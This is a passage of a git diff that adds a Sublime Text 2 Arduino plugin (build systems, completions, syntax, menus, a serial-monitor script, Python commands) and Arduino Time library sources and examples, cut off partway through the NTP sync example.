+*.sublime-project +.build diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build new file mode 100755 index 0000000..a94a1f8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Clean.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "clean"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build new file mode 100755 index 0000000..27434d8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Compile.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "build"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build new file mode 100755 index 0000000..5e7179c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload-Compile.sublime-build @@ -0,0 +1,10 @@ +{ + "cmd": ["sh", "-c", "ino build && ino upload"], + "windows": { + "shell": true, + "cmd": ["ino", "build", "&;", "ino", "upload"] + }, + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build new file mode 100755 index 0000000..f6c9a85 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino-Upload.sublime-build @@ -0,0 +1,6 @@ +{ + "cmd": ["ino", "upload"], + "selector": "source.c++.arduino", + "working_dir": "$file_path/..", + "path": "/opt/local/bin:/opt/local/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/X11/bin" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions new file mode 100755 index 0000000..21d4f1d --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.sublime-completions @@ -0,0 +1,128 @@ +{ + "scope": "source.c++.arduino", + "completions": [ + "HIGH", + "LOW", + "INPUT", + "OUTPUT", + "DEC", + "BIN", + "HEX", + "OCT", + "BYTE", + "PI", + "HALF_PI", + "TWO_PI", + "LSBFIRST", + "MSBFIRST", + "CHANGE", + "FALLING", + "RISING", + "DEFAULT", + "EXTERNAL", + "INTERAL", + "boolean", + "break", + "byte", + "case", + "char", + "class", + "continue", + "default", + "do", + "double", + "else", + "false", + "float", + "for", + "if", + "int", + "long", + "new", + "null", + "private", + "protected", + "public", + "return", + "short", + "signed", + "static", + "switch", + "this", + "throw", + "try", + "true", + "unsigned", + "void", + "while", + "word", + "boolean", + "byte", + "char", + "float", + "int", + "long", + "word", + "abs", + "acos", + "asin", + "atan", + "atan2", + "ceil", + "constrain", + "cos", + "degrees", + "exp", + "floor", + "log", + "map", + "max", + "min", + "radians", + "random", + "randomSeed", + "round", + "sin", + "sq", + "sqrt", + "tan", + "bitRead", + "bitWrite", + "bitSet", + "bitClear", + "bit", + "highByte", + "lowByte", + "analogReference", + "analogRead", + "analogWrite", + "attachInterrupt", + "detachInterrupt", + "delay", + "delayMicroseconds", + "digitalWrite", + "digitalRead", + "interrupts", + "millis", + "micros", + "noInterrupts", + "noTone", + "pinMode", + "pulseIn", + "shiftOut", + "tone", + "Serial", + "Serial1", + "Serial2", + "Serial3", + "begin", + "end", + "read", + "print", + "println", + "available", + "flush", + "setup", + "loop" + ] +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage new file mode 100755 index 0000000..600c9be --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Arduino.tmLanguage @@ -0,0 +1,62 @@ + + + + + fileTypes + + pde + ino + + foldingStartMarker + /\*\*|\{\s*$ + foldingStopMarker + \*\*/|^\s*\} + name + Arduino + patterns + + + include + #special_block + + + include + source.c++ + + + match + \b(HIGH|LOW|INPUT|OUTPUT|DEC|BIN|HEX|OCT|BYTE|PI|HALF_PI|TWO_PI|LSBFIRST|MSBFIRST|CHANGE|FALLING|RISING|DEFAULT|EXTERNAL|INTERNAL|INTERNAL1V1|INTERNAL2V56|null)\b + name + constant.c++.arduino + + + match + \b(boolean|byte|word)\b + name + storage.c++.arduino + + + match + \b(abs|acos|asin|atan|atan2|ceil|constrain|cos|degrees|exp|floor|log|map|max|min|radians|random|randomSeed|round|sin|sq|sqrt|tan|bitRead|bitWrite|bitSet|bitClear|bit|highByte|lowByte|analogReference|analogRead|analogWrite|attachInterrupt|detachInterrupt|delay|delayMicroseconds|digitalWrite|digitalRead|interrupts|millis|micros|noInterrupts|noTone|pinMode|pulseIn|shiftOut|tone|begin|end|read|print|println|available|flush|setup|loop)\b + name + support.function.c++.arduino + + + match + \b(Serial\d?)\b + name + support.class.c++.arduino + + + match + \b(private|protected|public) + name + storage.modifier.c++.arduino + + + scopeName + source.c++.arduino + uuid + 65E5AFAE-4AE7-4DAE-837B-1B99810E464C + + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands new file mode 100755 index 0000000..790907e --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-commands @@ -0,0 +1,26 @@ +[ + { + "caption": "New sketch", + "command": "new_sketch" + }, + { + "caption": "Open Arduino Libraries", + "command": "open_arduino_libraries" + }, + { + "caption": "Compile Arduino sketch", + "command": "compile" + }, + { + "caption": "Upload Arduino sketch", + "command": "upload" + }, + { + "caption": "Compile and Upload Arduino sketch", + "command": "compile_upload" + }, + { + "caption": "Clean Arduino sketch", + "command": "clean" + } +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap new file mode 100755 index 0000000..6a1c466 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Default.sublime-keymap @@ -0,0 +1,5 @@ +[ + { "keys": ["super+ctrl+shift+b"], "command": "compile" }, + { "keys": ["super+ctrl+shift+u"], "command": "upload"}, + { "keys": ["super+ctrl+shift+c"], "command": "clean"} +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE b/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE new file mode 100755 index 0000000..3cd9c55 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/LICENSE @@ -0,0 +1,7 @@ +Copyright (c) 2012 Robby Colvin + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu b/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu new file mode 100755 index 0000000..ea20580 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Main.sublime-menu @@ -0,0 +1,106 @@ +[ + { + "caption": "Tools", + "mnemonic": "t", + "id": "tools", + "children": [ + { + "id": "arduinomenu", + "caption": "Arduino", + "children": [ + { + "id": "arduinocompile", + "caption": "Compile Sketch", + "command": "compile" + }, + { + "id": "arduinoupload", + "caption": "Upload Sketch", + "command": "upload" + }, + { + "id": "arduinoclean", + "caption": "Clean Sketch", + "command": "clean" + }, + // { + // "id": "arduinomonitor", + // "caption": "Monitor USB Port", + // "command": "watch_serial_port" + // }, + { + "id": "arduinolocalhelp", + "caption": "Local Help for Keyword", + "command": "local_help" + }, + { + "id": "arduinonewsketchmenu", + "caption": "New Sketch", + "command": "new_sketch" + }, + { + "id": "arduinoopen", + "caption": "Open", + "children": [ + { + "id": "arduinodirectory", + "caption": "Arduino Directory", + "command": "open_arduino_directory" + }, + { + "id": "arduinolibraries", + "caption": "Arduino Libraries", + "command": "open_arduino_libraries" + }, + { + "id": "arduinoexamples", + "caption": "Arduino Examples", + "command": "open_arduino_examples" + }, + { + "id": "arduinouserdirectory", + "caption": "User Arduino Directory", + "command": "open_user_arduino_directory" + }, + { + "id": "arduinolibraries", + "caption": "User Arduino Libraries", + "command": "open_user_arduino_libraries" + } + ] + } + ] + } + ] + }, + { + "caption": "Preferences", + "mnemonic": "n", + "id": "preferences", + "children":[{ + "caption": "Package Settings", + "mnemonic": "P", + "id": "package-settings", + "children":[{ + "caption": "Arduino", + "children": [{ + "command": "open_file", + "args": { + "file": "${packages}/Arduino/Arduino.sublime-settings" + }, + "caption": "Settings – Default" + }, + { + "command": "open_file", + "args": { + "file": "${packages}/User/Arduino.sublime-settings" + }, + "caption": "Settings – User" + }, + { + "caption": "-" + }] + }] + }] + } +] diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/README.md b/Projects/libraries/Installed_libs/ST2_Arduino/README.md new file mode 100755 index 0000000..38100ab --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/README.md @@ -0,0 +1,38 @@ +# ST2 Arduino + +Sublime Text 2 plugin for Arduino. + +## Notes + +Currently, this plugin is only tested and optimized (read works) for OS X. I don't have access to Windows or Linux, so feel free to fork and add that functionality. + +## Prerequisites + +Dealing with a Makefile on my own was proving too cumbersome, so I've now opted to use the `ino` tool instead. + +The best way to install ino is to build from source: + +```bash +git clone git://github.com/amperka/ino.git && cd ino +make install +``` + +However you install ino, make sure that its location is available in your $PATH so this plugin can find it. + +Please visit [ino's website](http://inotool.org/) for more information. + +## Installation + +Download and extract to Sublime Text 2 Packages folder + +1. Download a [zipball](https://github.com/geetarista/ST2-Arduino/zipball/master) or [tarball](https://github.com/geetarista/ST2-Arduino/tarball/master) +2. Extract the plugin +3. Copy it to your packages directory: + * Mac OS X: ~/Library/Application\ Support/Sublime\ Text\ 2/Packages/ + * Linux: ~/.config/sublime-text-2/Packages + * Windows: %APPDATA%\Sublime Text 2\Packages +4. Rename to Arduino. + +## License + +MIT. See `LICENSE`. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet new file mode 100755 index 0000000..0c68ea8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/loop.sublime-snippet @@ -0,0 +1,9 @@ + + + loop + source.c++.arduino + Arduino loop + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet new file mode 100755 index 0000000..f7f884a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Snippets/setup.sublime-snippet @@ -0,0 +1,9 @@ + + + setup + source.c++.arduino + Arduino setup + diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor b/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor new file mode 100755 index 0000000..2561708 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/Support/Monitor @@ -0,0 +1,44 @@ +#!/bin/bash +echo "executing monitor script" +set -- /dev/*usb* +# make sure there's a usb port +echo "$1" +if [ -r "$1" ]; then + + # get the list of USB ports + dev_list=(`ls /dev/*usb*`) + + # echo them out with their index + counter=0 + for filename in "${dev_list[@]}"; do + echo "${counter}. ${filename:5}" + counter=`expr $counter + 1` + done + + # ask the user which port they'd like to monitor + echo "Which port would you like to monitor? [enter digit then enter, defaults to zero]:" + read dev_port + + # if they didn't supply one, just use zero + if [ -n dev_port ]; then + dev_port=0 + fi + + # ask them what baud they'd like to use + echo "Enter the baud rate [defaults to 9600]:" + read dev_baud + + # if they didn't supply one, just use 9600 + if [ -n dev_baud ]; then + dev_baud=9600 + fi + + # give them a heads up + echo "Monitoring ${dev_list[$dev_port]:5} on ${dev_baud}" + + # start monitoring + screen ${dev_list[$dev_port]} ${dev_baud} + +else + echo "No USB ports found" +fi diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py b/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py new file mode 100755 index 0000000..9c5d22c --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/__init__.py @@ -0,0 +1 @@ +from arduino import * diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py b/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py new file mode 100755 index 0000000..610a2a0 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/arduino.py @@ -0,0 +1,140 @@ +import sublime +import sublime_plugin + +import os +import thread +import subprocess +import sys +# import re + +PLUGIN_DIRECTORY = os.getcwd().replace(os.path.normpath(os.path.join(os.getcwd(), '..', '..')) + os.path.sep, '').replace(os.path.sep, '/') +PLUGIN_PATH = os.getcwd().replace(os.path.join(os.getcwd(), '..', '..') + os.path.sep, '').replace(os.path.sep, '/') +RESULT_VIEW_NAME = 'monitor_result_view' + +PACKAGES_DIR = sublime.packages_path() +ARDUINO_DIR = '/Applications/Arduino.app/Contents/Resources/Java' +REFERENCE_DIR = '%s/reference' % ARDUINO_DIR +KEYWORDS_FILE = '%s/lib/keywords.txt' % ARDUINO_DIR +CSS_FILE = "%s/arduinoUno.css" % REFERENCE_DIR +USER_DIR = '${HOME}/Documents/Arduino/' + +def plugin_file(name): + return os.path.join(PLUGIN_PATH, name) + +class CompileCommand(sublime_plugin.WindowCommand): + """ Compile the current file """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Compile.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class UploadCommand(sublime_plugin.WindowCommand): + """ Upload the current sketch to the board """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Upload.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class CompileUploadCommand(sublime_plugin.WindowCommand): + """ Upload and compile the current sketch to the board """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Compile-Upload.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class CleanCommand(sublime_plugin.WindowCommand): + """ Clean the current file """ + def run(self): + self.window.run_command('set_build_system', { + 'file': "%s/Arduino-Clean.sublime-build" % PLUGIN_PATH + }) + self.window.run_command('build') + +class NewSketchCommand(sublime_plugin.WindowCommand): + """ Create new sketch file from template """ + def run(self): + template = open(plugin_file('sketch_template'), 'r').read() + file = self.window.new_file() + edit = file.begin_edit() + file.insert(edit, 0, template) + file.end_edit(edit) + +class OpenArduinoDirectoryCommand(sublime_plugin.WindowCommand): + """ Open Arduino's application directory """ + def run(self): + if sys.platform == 'darwin': + path = ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenArduinoLibrariesCommand(sublime_plugin.WindowCommand): + """ Open Arduino's built-in libraries """ + def run(self): + if sys.platform == 'darwin': + path = '%s/libraries' % ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenArduinoExamplesCommand(sublime_plugin.WindowCommand): + """ Open Arduino's example sketches directory """ + def run(self): + if sys.platform == 'darwin': + path = '%s/examples' % ARDUINO_DIR + subprocess.check_call(['open', '--', path]) + +class OpenUserArduinoDirectoryCommand(sublime_plugin.WindowCommand): + """ Open user's arduino directory """ + def run(self): + path = os.getenv('HOME') + '/Documents/Arduino' + subprocess.check_call(['open', '--', path]) + +class OpenUserArduinoLibrariesCommand(sublime_plugin.WindowCommand): + """ Open user's library files """ + def run(self): + path = os.getenv('HOME') + '/Documents/Arduino/libraries' + subprocess.check_call(['open', '--', path]) + +# class WatchSerialPortCommand(sublime_plugin.WindowCommand): +# """ Watch serial port for activity """ +# def run(self): +# script = plugin_file('Support/Monitor') +# subprocess.call([script], shell=True) + +class LocalHelpCommand(sublime_plugin.TextCommand): + """ Open Arduino help for currently selected word """ + def run(self, edit): + loop = 'loop' + sel = self.view.sel()[0] + if not sel.empty(): + word = self.view.substr(sel) + else: + word = "" + + lines = [line.split() for line in open(KEYWORDS_FILE)] + keywords = [l for l in lines if ((len(l) >= 2) or (l and l[0] != "#"))] + for kw in keywords: + if word == kw[0]: + html_file = '%s/%s.html' % (REFERENCE_DIR, kw[-1]) + + if 'html_file' in locals(): + try: + subprocess.check_call(['open', html_file]) + # Will add this if sublime ever gets formatted output window + # html = open(html_file).read() + # css = open(CSS_FILE).read() + """ + # #wikitext p:first-child, + # #pageheader, + # #pagenav, + # #pagefooter { + # display: none; + # } + # #page { + # width: 100%; + # } + # """ + # html = re.sub('', "", html, re.S|re.I) + except Exception, e: + print "failed to open html" + else: + print 'No documentation found for "%s"' % word diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages.json b/Projects/libraries/Installed_libs/ST2_Arduino/messages.json new file mode 100755 index 0000000..d51417a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages.json @@ -0,0 +1,4 @@ +{ + "install": "messages/install.txt", + "1.0.0": "messages/1.0.0.txt" +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt b/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt new file mode 100755 index 0000000..6a56e0e --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages/1.0.0.txt @@ -0,0 +1,4 @@ +Version 1.0.0 +------------- + +This is the first version of the plugin. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt b/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt new file mode 100755 index 0000000..3cd6ce5 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/messages/install.txt @@ -0,0 +1,4 @@ +Arduino Sublime Text 2 Package +============================== + +Easily integrate with your Arduino. diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template b/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template new file mode 100755 index 0000000..55cc61a --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/sketch_template @@ -0,0 +1,13 @@ +/* + New sketch +*/ + +void setup () +{ + // setup +} + +void loop() +{ + // loop +} diff --git a/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino b/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino new file mode 100755 index 0000000..94cc3c8 --- /dev/null +++ b/Projects/libraries/Installed_libs/ST2_Arduino/test/src/test.ino @@ -0,0 +1,7 @@ +/* + This is a dummy file to test the compile command. +*/ + +void setup () {} + +void loop() {} diff --git a/Projects/libraries/Installed_libs/Time/DateStrings.cpp b/Projects/libraries/Installed_libs/Time/DateStrings.cpp new file mode 100755 index 0000000..7610c8f --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/DateStrings.cpp @@ -0,0 +1,80 @@ +/* DateStrings.cpp + * Definitions for date strings for use with the Time library + * + * No memory is consumed in the sketch if your code does not call any of the string methods + * You can change the text of the strings, make sure the short strings are each exactly 3 characters + * the long strings can be any length up to the constant dt_MAX_STRING_LEN defined in Time.h + * + */ + +#include +#include "Time.h" + +// the short strings for each day or month must be exactly dt_SHORT_STR_LEN +#define dt_SHORT_STR_LEN 3 // the length of short strings + +static char buffer[dt_MAX_STRING_LEN+1]; // must be big enough for longest string and the terminating null + +char monthStr1[] PROGMEM = "January"; +char monthStr2[] PROGMEM = "February"; +char monthStr3[] PROGMEM = "March"; +char monthStr4[] PROGMEM = "April"; +char monthStr5[] PROGMEM = "May"; +char monthStr6[] PROGMEM = "June"; +char monthStr7[] PROGMEM = "July"; +char monthStr8[] PROGMEM = "August"; +char monthStr9[] PROGMEM = "September"; +char monthStr10[] PROGMEM = "October"; +char monthStr11[] PROGMEM = "November"; +char monthStr12[] PROGMEM = "December"; + +PGM_P monthNames_P[] PROGMEM = +{ + "",monthStr1,monthStr2,monthStr3,monthStr4,monthStr5,monthStr6, + monthStr7,monthStr8,monthStr9,monthStr10,monthStr11,monthStr12 +}; + +char monthShortNames_P[] PROGMEM = "ErrJanFebMarAprMayJunJulAugSepOctNovDec"; + +char dayStr0[] PROGMEM = "Err"; +char dayStr1[] PROGMEM = "Sunday"; +char dayStr2[] PROGMEM = "Monday"; +char dayStr3[] PROGMEM = "Tuesday"; +char dayStr4[] PROGMEM = "Wednesday"; +char dayStr5[] PROGMEM = "Thursday"; +char dayStr6[] PROGMEM = "Friday"; +char dayStr7[] PROGMEM = "Saturday"; + +PGM_P dayNames_P[] PROGMEM = { dayStr0,dayStr1,dayStr2,dayStr3,dayStr4,dayStr5,dayStr6,dayStr7}; +char dayShortNames_P[] PROGMEM = "ErrSunMonTueWedThrFriSat"; + +/* functions to return date strings */ + +char* monthStr(uint8_t month) +{ + strcpy_P(buffer, (PGM_P)pgm_read_word(&(monthNames_P[month]))); + return buffer; +} + +char* monthShortStr(uint8_t month) +{ + for (int i=0; i < dt_SHORT_STR_LEN; i++) + buffer[i] = pgm_read_byte(&(monthShortNames_P[i+ (month*dt_SHORT_STR_LEN)])); + buffer[dt_SHORT_STR_LEN] = 0; + return buffer; +} + +char* dayStr(uint8_t day) +{ + strcpy_P(buffer, (PGM_P)pgm_read_word(&(dayNames_P[day]))); + return buffer; +} + +char* dayShortStr(uint8_t day) +{ + uint8_t index = day*dt_SHORT_STR_LEN; + for (int i=0; i < dt_SHORT_STR_LEN; i++) + buffer[i] = pgm_read_byte(&(dayShortNames_P[index + i])); + buffer[dt_SHORT_STR_LEN] = 0; + return buffer; +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde new file mode 100755 index 0000000..4c74d4b --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/SyncArduinoClock.pde @@ -0,0 +1,70 @@ +/** + * SyncArduinoClock. + * + * portIndex must be set to the port connected to the Arduino + * + * The current time is sent in response to request message from Arduino + * or by clicking the display window + * + * The time message is 11 ASCII text characters; a header (the letter 'T') + * followed by the ten digit system time (unix time) + */ + + +import processing.serial.*; + +public static final short portIndex = 1; // select the com port, 0 is the first port +public static final char TIME_HEADER = 'T'; //header byte for arduino serial time message +public static final char TIME_REQUEST = 7; // ASCII bell character +public static final char LF = 10; // ASCII linefeed +public static final char CR = 13; // ASCII linefeed +Serial myPort; // Create object from Serial class + +void setup() { + size(200, 200); + println(Serial.list()); + println(" Connecting to -> " + Serial.list()[portIndex]); + myPort = new Serial(this,Serial.list()[portIndex], 9600); +} + +void draw() +{ + if ( myPort.available() > 0) { // If data is available, + char val = char(myPort.read()); // read it and store it in val + if(val == TIME_REQUEST){ + long t = getTimeNow(); + sendTimeMessage(TIME_HEADER, t); + } + else + { + if(val == LF) + ; //igonore + else if(val == CR) + println(); + else + print(val); // echo everying but time request + } + } +} + +void mousePressed() { + sendTimeMessage( TIME_HEADER, getTimeNow()); +} + + +void sendTimeMessage(char header, long time) { + String timeStr = String.valueOf(time); + myPort.write(header); // send header and time to arduino + myPort.write(timeStr); +} + +long getTimeNow(){ + // java time is in ms, we want secs + GregorianCalendar cal = new GregorianCalendar(); + cal.setTime(new Date()); + int tzo = cal.get(Calendar.ZONE_OFFSET); + int dst = cal.get(Calendar.DST_OFFSET); + long now = (cal.getTimeInMillis() / 1000) ; + now = now + (tzo/1000) + (dst/1000); + return now; +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt new file mode 100755 index 0000000..985bd80 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/Processing/SyncArduinoClock/readme.txt @@ -0,0 +1,9 @@ +SyncArduinoClock is a Processing sketch that responds to Arduino requests for +time synchronization messages. + +The portIndex must be set the Serial port connected to Arduino. + +Download TimeSerial.pde onto Arduino and you should see the time +message displayed when you run SyncArduinoClock in Processing. +The Arduino time is set from the time on your computer through the +Processing sketch. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde new file mode 100755 index 0000000..1c7b25e --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeGPS/TimeGPS.pde @@ -0,0 +1,82 @@ +/* + * TimeGPS.pde + * example code illustrating time synced from a GPS + * + */ + +#include +#include //http://arduiniana.org/libraries/TinyGPS/ +#include //http://arduiniana.org/libraries/newsoftserial/ +// GPS and NewSoftSerial libraries are the work of Mikal Hart + +TinyGPS gps; +NewSoftSerial serial_gps = NewSoftSerial(3, 2); // receive on pin 3 + +const int offset = 1; // offset hours from gps time (UTC) +time_t prevDisplay = 0; // when the digital clock was displayed + +void setup() +{ + Serial.begin(9600); + serial_gps.begin(4800); + Serial.println("Waiting for GPS time ... "); + setSyncProvider(gpsTimeSync); +} + +void loop() +{ + while (serial_gps.available()) + { + gps.encode(serial_gps.read()); // process gps messages + } + if(timeStatus()!= timeNotSet) + { + if( now() != prevDisplay) //update the display only if the time has changed + { + prevDisplay = now(); + digitalClockDisplay(); + } + } +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function for digital clock display: prints preceding colon and leading 0 + Serial.print(":"); + if(digits < 10) + Serial.print('0'); + Serial.print(digits); +} + +time_t gpsTimeSync(){ + // returns time if avail from gps, else returns 0 + unsigned long fix_age = 0 ; + gps.get_datetime(NULL,NULL, &fix_age); + unsigned long time_since_last_fix; + if(fix_age < 1000) + return gpsTimeToArduinoTime(); // return time only if updated recently by gps + return 0; +} + +time_t gpsTimeToArduinoTime(){ + // returns time_t from gps date and time with the given offset hours + tmElements_t tm; + int year; + gps.crack_datetime(&year, &tm.Month, &tm.Day, &tm.Hour, &tm.Minute, &tm.Second, NULL, NULL); + tm.Year = year - 1970; + time_t time = makeTime(tm); + return time + (offset * SECS_PER_HOUR); +} diff --git a/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde b/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde new file mode 100755 index 0000000..11927c6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Time/Examples/TimeNTP/TimeNTP.pde @@ -0,0 +1,120 @@ +/* + * Time_NTP.pde + * Example showing time sync to NTP time source + * + * This sketch uses the Ethenet library with the user contributed UdpBytewise extension + */ + +#include +#include +#include // UDP library from: bjoern@cs.stanford.edu 12/30/2008 +#if UDP_TX_PACKET_MAX_SIZE <64 || UDP_RX_PACKET_MAX_SIZE < 64 +#error : UDP packet size to small - modify UdpBytewise.h to set buffers to 64 bytes +#endif +/* + * + * You may need to modify the UdpBytewise.h library to allow enough space in the buffers for the NTP packets. + * Open up UdpBytewse.h and set the following buffers to 64 bytes: + * #define UDP_TX_PACKET_MAX_SIZE 64 + * #define UDP_RX_PACKET_MAX_SIZE 64 + */ + + +byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; +byte ip[] = { 192, 168, 1, 44 }; // set the IP address to an unused address on your network + +byte SNTP_server_IP[] = { 192, 43, 244, 18}; // time.nist.gov +//byte SNTP_server_IP[] = { 130,149,17,21}; // ntps1-0.cs.tu-berlin.de +//byte SNTP_server_IP[] = { 192,53,103,108}; // ptbtime1.ptb.de + + +time_t prevDisplay = 0; // when the digital clock was displayed +const long timeZoneOffset = 0L; // set this to the offset in seconds to your local time; + +void setup() +{ + Serial.begin(9600); + Ethernet.begin(mac,ip); + Serial.println("waiting for sync"); + setSyncProvider(getNtpTime); + while(timeStatus()== timeNotSet) + ; // wait until the time is set by the sync provider +} + +void loop() +{ + if( now() != prevDisplay) //update the display only if the time has changed + { + prevDisplay = now(); + digitalClockDisplay(); + } +} + +void digitalClockDisplay(){ + // digital clock display of the time + Serial.print(hour()); + printDigits(minute()); + printDigits(second()); + Serial.print(" "); + Serial.print(day()); + Serial.print(" "); + Serial.print(month()); + Serial.print(" "); + Serial.print(year()); + Serial.println(); +} + +void printDigits(int digits){ + // utility function 